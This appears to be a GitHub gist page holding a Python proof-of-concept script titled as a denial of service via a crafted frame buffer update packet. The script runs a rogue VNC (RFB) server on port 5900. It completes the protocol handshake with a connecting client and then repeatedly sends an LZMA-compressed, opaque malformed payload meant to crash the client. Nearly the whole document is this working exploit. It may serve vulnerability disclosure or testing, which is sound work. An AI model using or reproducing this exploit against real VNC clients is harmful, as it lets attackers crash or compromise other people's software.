Skip to content

Instantly share code, notes, and snippets.

@totaam
Last active September 16, 2021 15:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save totaam/a90f2bb40f5b693ccec0ae903d021b03 to your computer and use it in GitHub Desktop.
Save totaam/a90f2bb40f5b693ccec0ae903d021b03 to your computer and use it in GitHub Desktop.
denial of service via a crafted frame buffer update packet
#!/usr/bin/env python3
import sys
import lzma
import socket
Z = lzma.decompress(b'\xfd7zXZ\x00\x00\x04\xe6\xd6\xb4F\x02\x00!\x01\x1c\x00\x00\x00\x10\xcfX\xcc\xe0py\x07\x1f]\x00\x00g\xfe\xa0 o9\xfd\xf7\x93\x8dMX"d\x0fM\x14Y\x05E\x1fH\xb4%\x94P\x0bZ\xb4\x0b\x91q\xad%\x0f-\xa9\x9a$\x1b\xa5\x15\x17\x97\xfeP\\\x066\\\xfd\x8cv\xc9U\xf2\xb2\xc0v\x1c\x0e\xed\xe1W\xc9\x03G\x8et\x88=\xcbg\x04\x94F\x18\xf3\xaeO\xf4 \x97\xeb\xea)\x852\xdb\xec\xc3\x95\x08~\x8a\x80\xef\xf6W\xa2\x97"\xb5\t\xfa\xa0\xee\x98\x95\x84\xa16\x81@\x84\x93\xf0\x8a\xd6\x997\x0c\xe8\xe5W\x08:\x89\x94\x88\xb3\xbc3\xb0\xd29v\xf5\xd3+1\x9eBm1?\x15F\xfce\xa0\xbfN\xbac\xbd;\x83\x98\xe0\xea\x87rB\xc2\xb9\xd6\xf9\xfc-\xa3\xaf\xec\xc5b\xc0\xac\xe8x\xc6\t9\xdbR\xafI\xb9\xe9\x1fW(qaM\xf9\xc2\xae\x1f\xebrw\xe30\x84\xa5\x1a!\xb2N\xd5\xa5\xec\xb6\xf9\xf7rd\t\x06\x9dd\x04\rWm`\xf9\x1a\xca\xccH1\xc8,\xd9\x06d#\xa3\x81\xc1\xdf\x0f\xce\xae#\x1f\xb3EJ\xc9\xc2\xb1\xb2jZR\x98\xc3\x11\nB\x06\x00\xa4_\xee\xd7\xbc\xcf\xc4C\x85}\xb3PCX\xc3\xb3-\x17\x8f\x88\xd2\x04d\xe9\xcf\xd2\\\xcbU\xe9\xb9k\x08\xb8\xfe\xb9g\xcb*\x1e\xbd2\xed\xc9\xcbe\x8d"\xa2\x99}\xfe\x0b&\xa7\xe4F\xd1Hec\xcf\x07\xab;&\x05\xdc\xd3q\x9aKf\r\xd1|]\xd3\x16$\xde\n_\x00\xac[\xc5\xbat\x8d4d<\x11\xf4\xf6IV\xb9C\xb6\xde\xcf\xdb\xbf\x14.t\x95\xfd\x11\xdfx\x02.\x1eZ\x8f:\xaeW=\xcd$\x03\xc22\xc9\x1eJ\xfd\x16 \xd6\x9d"LO\xeavSZQ\xd7\x88\xc8\xdf:)\x81K*t\xbd\xd1\xf0\xfd\x9f\xb0\xc6\xf0*\x83\xf4N\xce\xa5iY\x015\xcd+\xcbf\xb2\x05\x1a\xd1|E\xb6i\xd58\x83\xf1P\xa4\x18,\xd8\xcd\xbd9\xfcv\xff\x8f\xf8z\x0b\x1b\xf8\x893\xed\x95/\x8e\x85\xffc|G\n\xa0\xd7\xe5C\xea`\xaf\xa7\x13\xb1\xe6\x9fP\xb4\xf7\'\x8f\xbc\xbe9\xb5\x8e\x84\x18V\x0b\xfbJ\x8d*\xdb\xcbdSJ\x81\xdb!\xca\x9c\xc0\x14\x0f_L\xf8\x0c\xb4\x00R\xa6\x10\xb0\xe3\xa2\xe5Pu\xd5^&\x9f\x03~\xabo\x80\x1aDw\x1e\x82\x1b i\x1b\xba\x12\x87\xc1\xfe\xf4\x86\xaf\xe7E#~\xb5\xd0\xdf;{\x16Io\\\x13\xb1\x8b\x93m\x85;\x07\x82\xf5G!\x96\xb4\xbaPG\x83\t}\xbd\x8dn\xaa\xe9fsY\xff\x88\xf6d\xe0\x83\xff>\xe8z,\x91\xfd\x8d\xef\x13]&\x00E"\xcd\xaap\xaf\xf5-n\xa3\x9e\xaa\x83\xfc>\xde\xd6\xaa\xa6\xf48">\x8489\xf7\x15\xaa\\\x95\xc3\xcd.\xd7\xe1\x91\xf4$\x9d\xb5T\xe2\xf7\xb5\x8dz\x8f\xa5\xb3\x91\x07/\xe3H\x13vBR\x08\x99\xd0\x16b\xa0\xa2v\x17~\x99\x11\x90\x0c\r\x8d\x91\x91\r\x875&\x99\xa3\xecbj\xeaI\xbe\x16\xe6\x94\xa7fo40\xb6\xc7\xf5\x08\xf9\x91\xf7<\xe2\xd6j@Q\xe8\xe8\x08\xf6\xcf\xe2\x97D\x17Pr\x06\x12\xd7&\xc7\xc0\x9a\xa9\xfd\xb3\x1d@\x97<\x8b\x99\xf2\x02I(\x9f\x07\xa9\xc2\xd6O\xb4\xf4\r\xc0\xe5\xe44\xa9\x17F\xd6\x1d\xd2\x1d\x19_\xc0\x05:\xe4+RR\x8bK\xa8\x06\xbc\xfd:\xf8\xcb\x01%<a\xa3\x93\xc8J\xd1\x84\xb37\x88\xf7;\x1b\xd1\x9e\xe4\x0bW!\xa2\xcb\xc3\xa66Z3\xd4r\xbe\xff3I\xac6\xe4\xa5\xa5\xaf\xd4\x1db_;"8W\x1b\xff \x08*\x8b\xfc\xce\xc8\xb7\xa23Eyx\t\xcd\x05\x0e\x8e_\x91~-ip\xfa.\xa2A\xec5\xef\xcdB&\xdc^o\xad>\x03\xe0\xe4.\xbbF\xdc\xed!\x7f\x97\xaa\xfe Eq\xf12)\xc0\xff\xbb1\x8d\xc2\x00M/\xd6\xef\xfd\x96A(\xeaB\xdf\xbfjW3\xa6T\xd5\x13\xe1\x0f\xe06\xd6o\xcaI8YT\xa2\x08\x8b"\xff%\xc7wG\x1bC_\xad2\x91\xc8dx\xe7N\xb8\x05\xa4v\x0f\x9c\xdbf)}\xd6x\xa7g\xad\x08\xcb\x14g\xbd\x17\x0f\xe0&\xc4GU\xa1u\xfa\x0c\x01\x84\xf3;J\x10{z\xf8w\xb2\xeb\xe24\xc2u\xba\xd49z\xed3\x04*\xab\xc1\x86\xa4I\xc4\xe7\x1dL\xf2\x11]VN&\x9c\xed(\x03\x08\xb9\x85,\xd9R\xadb&FB\xcbE\xd1\x0e\xaaW\x12\xb0Y\xae\x0b}\xf5\xce:\xe0\x02o\xa8\xf5:u\x11\x84\xd4\xa6&\x998\xbf\x05\xf88\x08\xe2q%\xd6,\x87\xb7A_\xbd\x9f\xe4\xaf\x1f\xa8QA\xa8\xe2UAn\x07Q\xfd\x02\xe6\xb7Z*\xabaY\xfc\x14{QC\x82\x8d\x80\xa3.[4[D\xd5X\xb8\xad\xebe\xd7X\x89\xa8\xe4\x0c\xa6\xb9\xdbQd{\xa3q[\x02hP\x90\x85\xa1\x7f\x14\xd6}O\xb4\x7f\xd3h\xe7\x87\x1f\xb9\xb9\x8b\xc8^x\xc4\xbc\xd0<\x9c\x01\xa6\xe5\x19\x85\xd83\xcb\xb5\xfb)\xda5\xa3\xa7\xf1W\xa3\nI\x85}\x14\x9d\x93\xa6\xd89\x92M\xf0\xcea\xb1\xa6\xd3t\xec\x0c\xdb\x901=V7\x9a\xd8m\xdfc\x1c\xaf\x827m\xc7\x05\x9f\x8b\xbb3K\xd3\xdc\xe2\xe8\xee\x91\r\x8d\xdf\xfbCv\xc66GR\xe6\x91i\x03\xf23\xfdp\xe9\x9c3\x82\x94kr\xa3U|(\x04f1\xb8\xc10f\xd90\xe1\xa8?,p}\xfd`kL\x82\xfd\x18PY\x11\xa0\xd0\xd5\x16\xf1~\xcd\xf7\xb7cj\x178\xc1\x14\x81\xb5\xdeD\xce\x9f\xfbF\xfc\xe4\xd7\x96\xa3L7$)\xc2\x1e\x17\x1azg\xf2\xce\xb6w\x04B\xb5\x00\x15\x83*V\x81\xabQ\xe8\xa8\xf1n\xe2FP\xb0\xe5\xcfe\x96^T\x0b\xc2\xa4\x1f1\x08\xe96-\xd2\x1a\xe4\xe7\xcd\xfbZ\x89>Y\x1a\x85c\xcf\x16\x04\xb5\xa1\x89\x14\x8e \x1a\t\x8b\x9e\rG\x10\xd6\x96(%\xb1\xc8\xa1\xa0\xc3\x9fa\x13V\x19a\x81\x1c\x0fo\xdd(\x0eB\x17\xa8!W\xeb\xa6\xcd\xa5u\x92\x8b\x1ba\xd1\xc0%\xfa\x08m\x053\xbcYs\xff+\x17\xec\xefm\x95]\x96\xd1\xcb|\xbbSC\xf1\xbaH\xa6%\xf9AfwB=\x06\xbd\xa0\x9a\xe3\xd5*\xe2u\x84\x7f\x04\x85\xd8\'\x9e;\x81\xc8\xfa=\x95@{\x8a\xff}\xfa\xbb\x91GN\xec\xdc\x8c\xa2\xe3\xd3\xcd\xdc\tF]\xa1N\x0b\xfa:\xee\xa4\xfb\x00@G\x8f\xc9\x1c\x0bW\x99\xf8\x02n8\x9e\x0e >rQfi\x19[{\xbc\xd7\x86\xd5jm\x8b9\x0eS\x1e\xcf,D\xd5\x87D\xef\xd7:\xd4-f\xd7h\x95\x82~\x95\xd4\xa5\x0b\xce\x85Zh\xd6\x1b\xef\xfc\xfb\xa7B4\x84\x15\xa0\x9f\x03\xff\x15 \xc8\x8456\x9d]\xc4\x0f\xc2Z\x92S\xb8\x9a\x0f\x05$\xa2\xe5\xa4\xe8\x93\xafM\x11\x0fx\xefJY\x02\x03\xceP\x97W\xb9\x88G\xd7\xb5\xecJ\xa2\xd2\x90\xa0\xd8\x0b\xb0\xa1\xa0Qi\xf0\xa5\x86\xb8\xb7\x97\xe9\x05;\x8b\xd7\x8fT\x99\xf1\xc2\xd7\xac\xea\xa1\xfc\nmc\xf5\xd4\xf6\x87\x8e\xe6\n\x99Y\xde\x16-\x93Um\x087\x95\x1eY\xc3\xc3z\xfe\xd1\x84\xc2\xe3\xd0u\xc5\xe5.\xc3\x1d\xc8*)+\x11\xaaY\xd4\xdfs\xa4;G\x02\xa40\x9b\x03Cd\x8b\x86\x93NI*\x84\xe2\xa9\xa5\xd8J\xb4\xb3\xfd\xaft\x0b,d\x90mf\x1c\xda\xd4\xe1\x97\xd2\x0e\xa3W\xc5\x88\xbc8\x1cM\xe6b\xd3\x87M\xda\xb7$q!\x1c\xc2H\x9d\x9c>\xd9\xd4c\xa1\xf7\x07*\xbb\x806j\xd4\xf1\xa0\xc8_\xd5]w\xc0\x06\xef\x00\x00\x00\'w\xb4\xdfk\xfc\xd7\xc1\x00\x01\xbb\x0e\xfa\xe0\x01\x00(\x9eJU\xb1\xc4g\xfb\x02\x00\x00\x00\x00\x04YZ')
messages = (
(b"RFB 003.008\n", b"RFB 003.008\n"),
(b'\x01\x01', b'\x01'),
(b'\x00\x00\x00\x00', b'\x01'),
(b'\x05\x00\x04\x00 \x18\x00\x01\x00\xff\x00\xff\x00\xff\x10\x08\x00\x00\x00\x00\x00\x00\x00\x05xterm', b'\x02\x00\x00\r\x00\x00\x00\x18\x00\x00\x00\x10\x00\x00\x00\x16\x00\x00\x00\x15\x00\x00\x00\x0f\x00\x00\x00\x06\x00\x00\x00\x05\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\xff\xff\xfe\xc6\xff\xff\xff\x11\xff\xff\xff!'),
(b'', b'\x00\x00\x00\x00\x08\x06\x00\x01\x00\x03\x00\x03\x00\x03\x04\x02\x00\x00\x00\x00'),
(b'', b'\x03\x00\x00\x00\x00\x00\x05\x00\x04\x00'),
(Z, b'\x00\x00\x00\x00 \x18\x00\x01\x00\xff\x00\xff\x00\xff\x10\x08\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x05\x00\x04\x00'),
(Z, b""),
(Z, b""),
)
def main():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', 5900))
sock.listen(1)
conn, client_address = sock.accept()
print("new connection from %s" % (client_address,))
for send, receive in messages:
if send:
conn.send(send)
if receive:
breceive = conn.recv(len(receive))
if breceive!=receive:
print("warning: expected %r but got %r" % (receive, breceive))
sys.exit(0)
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment